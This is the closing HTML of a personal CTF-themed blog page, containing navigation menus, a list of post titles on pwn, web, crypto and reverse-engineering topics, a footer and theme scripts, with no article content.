      <span class="exturl item youtube" data-url="aHR0cHM6Ly95b3V0dWJlLmNvbS8=" title="https:&#x2F;&#x2F;youtube.com&#x2F;"><i class="ic i-youtube  "#e60026""></i></span>
      <span class="exturl item instagram" data-url="aHR0cHM6Ly9pbnN0YWdyYW0uY29tLw==" title="https:&#x2F;&#x2F;instagram.com&#x2F;"><i class="ic i-instagram "#1e88e5""></i></span>
      <span class="exturl item skype" data-url="c2t5cGU6MTIzP2NhbGx8Y2hhdA==" title="skype:123?call|chat"><i class="ic i-skype "#1e88e5""></i></span>
      <span class="exturl item douban" data-url="aHR0cHM6Ly93d3cuZG91YmFuLmNvbS9wZW9wbGUv" title="https:&#x2F;&#x2F;www.douban.com&#x2F;people&#x2F;"><i class="ic i-douban "#191717""></i></span>
</div>

<ul class="menu">
  
    
  <li class="item">
    <a href="/" rel="section"><i class="ic i-home"></i>Home</a>
  </li>

    
  <li class="item">
    <a href="/about/" rel="section"><i class="ic i-user"></i>About</a>
  </li>

        
  <li class="item dropdown">
      <a href="javascript:void(0);"><i class="ic i-feather"></i>Posts</a>
    <ul class="submenu">

        
  <li class="item">
    <a href="/archives/" rel="section"><i class="ic i-list-alt"></i>Archives</a>
  </li>

        
  <li class="item">
    <a href="/categories/" rel="section"><i class="ic i-th"></i>Categories</a>
  </li>

        
  <li class="item">
    <a href="/tags/" rel="section"><i class="ic i-tags"></i>Tags</a>
  </li>

  </ul>
    
  <li class="item">
    <a href="/friends/" rel="section"><i class="ic i-heart"></i>Friends</a>
  </li>

    
  <li class="item">
    <a href="/films/" rel="section"><i class="ic i-heart"></i>films</a>
  </li>

    
  <li class="item">
    <a href="/fun-links/" rel="section"><i class="ic i-android"></i>fun-links</a>
  </li>


</ul>

      </div>
    </div>
  </div>

  <ul id="quick">
    <li class="prev pjax">
        <a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" rel="prev" title="Previous Post"><i class="ic i-chevron-left"></i></a>
    </li>
    <li class="up"><i class="ic i-arrow-up"></i></li>
    <li class="down"><i class="ic i-arrow-down"></i></li>
    <li class="next pjax">
        <a href="/BUGKUmisc/" rel="next" title="Next Post"><i class="ic i-chevron-right"></i></a>
    </li>
    <li class="percent"></li>
  </ul>
</div>


        </div>
        <div class="dimmer"></div>
      </div>
    </main>
    <footer id="footer">
      <div class="inner">
        <div class="widgets">
          
<div class="rpost pjax">
  <h2>Random Posts</h2>
  <ul>
      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Pwn/" title="In Pwn">Pwn</a>
</div>

    <span><a href="/computer-science/Pwn/pwn4/" title="pwn4-stack pivoting">pwn4-stack pivoting</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Pwn/" title="In Pwn">Pwn</a>
</div>

    <span><a href="/computer-science/Pwn/pwn3/" title="pwn3">pwn3</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Web/" title="In Web">Web</a>
</div>

    <span><a href="/computer-science/Web/Web/" title="web学习">web学习</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/hello-world/" title="Hello World">Hello World</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/tag-plugins/" title="Tag Plugins">Tag Plugins</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><span class="exturl" data-url="aHR0cDovL3d3dy5nb29nbGUuY29tLw==" title="www.google.com">www.google.com<i class="ic i-link-alt"></i></span></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
</div>

    <span><a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" title="MiniLCTF_2020题解">MiniLCTF_2020题解</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/code-highlight/" title="Code Highlight Style test">Code Highlight Style test</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Crypto/" title="In Crypto">Crypto</a>
</div>

    <span><a href="/computer-science/Crypto/Crypto/" title="Crypto">Crypto</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Reverse/" title="In Reverse">Reverse</a>
</div>

    <span><a href="/computer-science/Reverse/reverse2/" title="学习Reverse2">学习Reverse2</a></span>
  </li>

  </ul>
</div>
<div>
  <h2>Recent Comments</h2>
  <ul class="leancloud-recent-comment"></ul>
</div>

        </div>
        <div class="status">
  <div class="copyright">
    
    &copy; 2010 – 
    <span itemprop="copyrightYear">2022</span>
    <span class="with-love">
      <i class="ic i-sakura rotate"></i>
    </span>
    <span class="author" itemprop="copyrightHolder">cheuncey Zhang @ Canary</span>
  </div>
  <div class="count">
    <span class="post-meta-item-icon">
      <i class="ic i-chart-area"></i>
    </span>
    <span title="Symbols count total">166k words</span>

    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="ic i-coffee"></i>
    </span>
    <span title="Reading time total">2:31</span>
  </div>
  <div class="powered-by">
    Powered by <span class="exturl" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv">Canary</span> & Inspire.<span class="exturl" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv">taotaotao!</span>
  </div>
</div>

      </div>
    </footer>
  </div>
<script data-config type="text/javascript">
  var LOCAL = {
    path: 'AWD/',
    favicon: {
      show: "（●´3｀●）Goooood",
      hide: "(´Д｀)Booooom"
    },
    search : {
      placeholder: "Search for Posts",
      empty: "We didn't find any results for the search: ${query}",
      stats: "${hits} results found in ${time} ms"
    },
    valine: true,fancybox: true,
    copyright: 'Copied to clipboard successfully! <br> All articles in this blog are licensed under <i class="ic i-creative-commons"></i>BY-NC-SA.',
    ignores : [
      function(uri) {
        return uri.includes('#');
      },
      function(uri) {
        return new RegExp(LOCAL.path+"$").test(uri);
      }
    ]
  };
</script>

<script src="https://cdn.polyfill.io/v2/polyfill.js"></script>

<script src="//cdn.jsdelivr.net/combine/npm/pace-js@1.0.2/pace.min.js,npm/pjax@0.2.8/pjax.min.js,npm/whatwg-fetch@3.4.0/dist/fetch.umd.min.js,npm/animejs@3.2.0/lib/anime.min.js,npm/algoliasearch@4/dist/algoliasearch-lite.umd.js,npm/instantsearch.js@4/dist/instantsearch.production.min.js,npm/lozad@1/dist/lozad.min.js,npm/quicklink@2/dist/quicklink.umd.js"></script>

<script src="/js/app.js?v=0.2.5"></script>




</body>
</html>
